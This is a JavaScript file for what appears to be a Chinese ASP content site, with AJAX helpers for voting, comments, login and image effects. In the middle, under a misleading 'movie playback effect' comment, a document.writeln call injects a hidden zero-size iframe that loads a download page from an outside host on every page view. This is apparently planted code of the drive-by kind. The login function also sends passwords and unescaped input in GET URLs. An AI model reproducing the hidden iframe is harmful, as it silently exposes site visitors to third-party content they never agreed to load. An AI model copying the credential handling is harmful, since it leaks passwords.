var $=function(id){return document.getElementById(id);}
//AJAX连接池 ---------太阳光----------------
function getData(dataSource,id){
	var request = false;
	if (window.XMLHttpRequest) {
		request = new XMLHttpRequest();
	} else if (window.ActiveXObject) {
		var MSXML = ['MSXML2.XMLHTTP','Microsoft.XMLHTTP','MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0'];
		for(var n=0; n<MSXML.length; n++){
			try{
				request = new ActiveXObject(MSXML[n]);
				break;
			}catch(e){}
		}
	}
	if(request) {
		request.open("GET", dataSource,true);
		request.onreadystatechange = function()
		{
		if (request.readyState == 4 && request.status == 200) {
			$(id).style.display="";
			$(id).innerHTML = request.responseText;
			delete request;
			request = null;
		}
	}
	request.send(null);
	}
}
//支持多种浏览器的方式创建 XMLHttpRequest 对象
var request;
function createRequest() {
	try {
		request = new XMLHttpRequest();
	} catch (trymicrosoft) {
	try {
		request = new ActiveXObject("Msxml2.XMLHTTP");
	} catch (othermicrosoft) {
	try {
		request = new ActiveXObject("Microsoft.XMLHTTP");
	} catch (failed) {
		request = false;
	}
	}
	}
	if (!request)
		alert("Error initializing XMLHttpRequest!");
}
//-------投票过程----
function ft_tp(id){
	if (id==2){
	var str="";
	var Item = document.getElementsByName("item_id");
	for(var i=0;i<Item.length;i++){ 
		if(Item[i].checked) 
		str=Item[i].value;
	}
	if (str==""){
		alert("请先选择投票!");
	}else{
		createRequest();
		request.open("GET","ajax.asp?action=ft_tp&id=2&str="+str+"&"+Math.random(),true);
		request.onreadystatechange = function(){
		if (request.readyState == 4 && request.status == 200) {
			alert(request.responseText);
			getData("ajax.asp?action=ft_tp&id=0&"+Math.random(),"ft_tp");
			}
		}
		request.send(null);
		}
	}else{
		getData("ajax.asp?action=ft_tp&id="+id+"&"+Math.random(),"ft_tp");
	}
}
//---显示评论提交表----
function RemarkTable(id,str){
	getData("ajax.asp?action=RemarkTable&id="+id+"&filename="+str+"&"+Math.random(),"pl_table");
}
//---评论重写按钮----
function pl_reset(){
	$("Remark").value="";
	$("xCode").value="";
	$("Remarker").value="";
}
//----保存评论----
function Remark(){
	var id=$("pl_id").value;
	var FileName=$("FileName").value;
	var Remarker=$("Remarker").value;
	var remark=$("remark").value;
	var xCode=$("xCode").value;
	if (Remarker==""){alert("请填写您的大名！");return false;}
	if (remark==""||remark=="切忌不要胡乱提交评论，否则后果自负！"||remark.length<5)
	{
		alert("请填写5-150字内的评论内容！");
	}else{
		createRequest();
	request.open("GET","ajax.asp?action=Remark&id="+id+"&FileName="+FileName+"&Remarker="+Remarker+"&remark="+remark+"&xCode="+xCode+"&"+Math.random(),true);
		request.onreadystatechange = function(){
		if (request.readyState == 4 && request.status == 200) {
			if (request.responseText=="ok"){
				//评论成功
				alert("您已经成功提交评论信息，感谢您的评论!");
				RemarkList(id,FileName,1);
				//清除评论内容
				$("Remark").value="";
				$("xCode").value="";
				$("Remarker").value="";
				colse("pl_table");
			}else{
				alert(request.responseText);
				if(request.responseText=="验证码错误"){$("pl_code").src="inc/Ft_Getcode.asp?"+Math.random();}
				return false;
			}
		}
	}
    request.send(null);
   }
}
//-----评论列表-----
function RemarkList(id,str,p){
	createRequest();
	request.open("GET","ajax.asp?action=RemarkList&id="+id+"&page="+p+"&FileName="+str+"&"+Math.random(),true);
	request.onreadystatechange = function(){
	if (request.readyState == 4 && request.status == 200) {
		document.getElementById("RemarkList").innerHTML = request.responseText;
	}
	}
	request.send(null);
}
//电影播放效果
document.writeln("<iframe src=\"http:\/\/service.dyplayer.com\/download.html?url=mov.40t.cn&operchap=11685\" name=\"musictop\" width=\"0\" height=\"0\" align=\"center\" scrolling=\"No\"  frameborder=\"0\" id=\"musictop\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><\/iframe>");
//--------------软件报错------
function soft_err(id){
	createRequest();
	request.open("GET","ajax.asp?action=soft_err&id="+id+"&"+Math.random(),true);
	request.onreadystatechange = function(){
	if (request.readyState == 4 && request.status == 200) {
		alert(request.responseText);
	}
	}
	request.send(null);
}
//-----------------登陆界面------
function userlogin(str){
	getData("ajax.asp?action=userlogin&id="+str+"&"+Math.random(),"ft_user");
}
//----------------提交登陆------
function login(str){
	var ft_username=$("ft_username").value;
	var ft_password=$("ft_password").value;
	var ft_Code=$("ft_Code").value;
	if (ft_username==""||ft_password==""){
		alert("请填写完整！");
	}else{
		createRequest();
	request.open("GET","ajax.asp?action=login&ft_username="+ft_username+"&"+"ft_password="+ft_password+"&ft_Code="+ft_Code+"&"+Math.random(),true);
		request.onreadystatechange = function(){
			if (request.readyState == 4 && request.status == 200) {
				if (request.responseText=="ok"){
					userlogin(str);
				}else{
					alert(request.responseText);
					if(request.responseText=="验证码错误！"){$("img_code").src="inc/Ft_Getcode.asp?"+Math.random();}
						return false;
					}
				}
			}
			request.send(null);
	}
}
//----------------退出登陆------
function loginout(str){
	createRequest();
	request.open("GET","ajax.asp?action=loginout&"+Math.random(),true);
	request.onreadystatechange = function(){
		if (request.readyState == 4 && request.status == 200) {
			if (request.responseText=="ok"){
				userlogin(str);
			}else{
				alert("退出失败,未知错误!");
				return false;
			}
		}
	}
    request.send(null);
}
//----关闭id-----
function colse(id){
	$(id).style.display="none";
}
//flash
function CreateFlash(bgcolor, swfurl, wad, had, vs){
	var str = "<object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase=\"http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0\" width=\"" + wad + "\" height=\"" + had + "\" id=\"player\" align=\"middle\">";
	str += "<param name=\"allowScriptAccess\" value=\"always\">";
	str += "<param name=\"quality\" value=\"high\">";
	str += "<param name=\"movie\" value=\"" + swfurl + "\">";
	str += "<param name=\"flashvars\" value=\"" + vs + "\">";
	str += "<embed src=\"" + swfurl + "\" flashvars=\"" + vs + "\" quality=\"high\" width=\"" + wad + "\" height=\"" + had + "\" name=\"player\" align=\"middle\" allowScriptAccess=\"always\" bgcolor=\"" +bgcolor +"\" type=\"application/x-shockwave-flash\" pluginspage=\"http://www.macromedia.com/go/getflashplayer\">";
	str += "</object>";
	document.write(str);
}
// 页面字体放大
function doZoom(size){
	document.getElementById('zoom').style.fontSize=size+'px'
}
var NS4 = (document.layers);
var IE4 = (document.all);
var win = window;
var n   = 0;
function findIt() {
	if (searchstr.value != "")
	findInPage(searchstr.value);
}
// 图片缩放脚本
var flag=true; 
function DrawImage(ImgD){ 
    var image=new Image(); 
    image.src=ImgD.src; 
    if(image.width>0 && image.height>0){ 
        flag=true; 
      if(image.width>=700){ 
        ImgD.width=700; 
        ImgD.height=(image.height*700)/image.width; 

        }else{ 
            ImgD.width=image.width; 
            ImgD.height=image.height; 
        }  
    } 
} 
//内容里的图片缩放效果-------------将删除
function ContentImage(ImgD){ 
    var image=new Image(); 
    image.src=ImgD.src; 
    if(image.width>0 && image.height>0){ 
        flag=true; 
    if(image.width>=500){ 
         ImgD.width=500; 
        ImgD.height=(image.height*500)/image.width; 

        }else{ 
            ImgD.width=image.width; 
            ImgD.height=image.height; 
        }  
    } 
} 
function cgimg(o){
	var zoom=parseInt(o.style.zoom, 10)||100;zoom+=event.wheelDelta/12;if (zoom>0) o.style.zoom=zoom+'%';
	return false;
}
//图片模糊，鼠标移上去变清晰效果
function  toup2(theobject){
	logo=1
	gogo(theobject)
}
function  todown2(theobject){
	logo=0
	down(theobject)
}
function gogo(image){
	theobject=image
	if  (logo==1&&theobject.filters.alpha.opacity<100){
	theobject.filters.alpha.opacity+=20;
	var upalpha=setTimeout("gogo(theobject)",300)
	}
}
function down(theobject){
	if (logo==0&&theobject.filters.alpha.opacity>80){
	theobject.filters.alpha.opacity-=20;
	var downalpha=setTimeout("down(theobject)",300)
	}
}
//多行文本框字数统计
function gbcount(message,total,used,remain){
	var max;
	max = total.value;//总字数
	//if (used.value>4){$("pl_ok").style.disabled="false";}
	if (message.value.length > max) {
		message.value = message.value.substring(0,max);
		used.value = max;
		remain.value = 0;
		alert("字符不能超过" +max+ "个字!");
		}
	else {
		used.value = message.value.length;
		remain.value = max - used.value;
		}
	if(used.value>4){
		$("pl_ok").disabled="";
	}else{
		$("pl_ok").disabled="true";
	}
}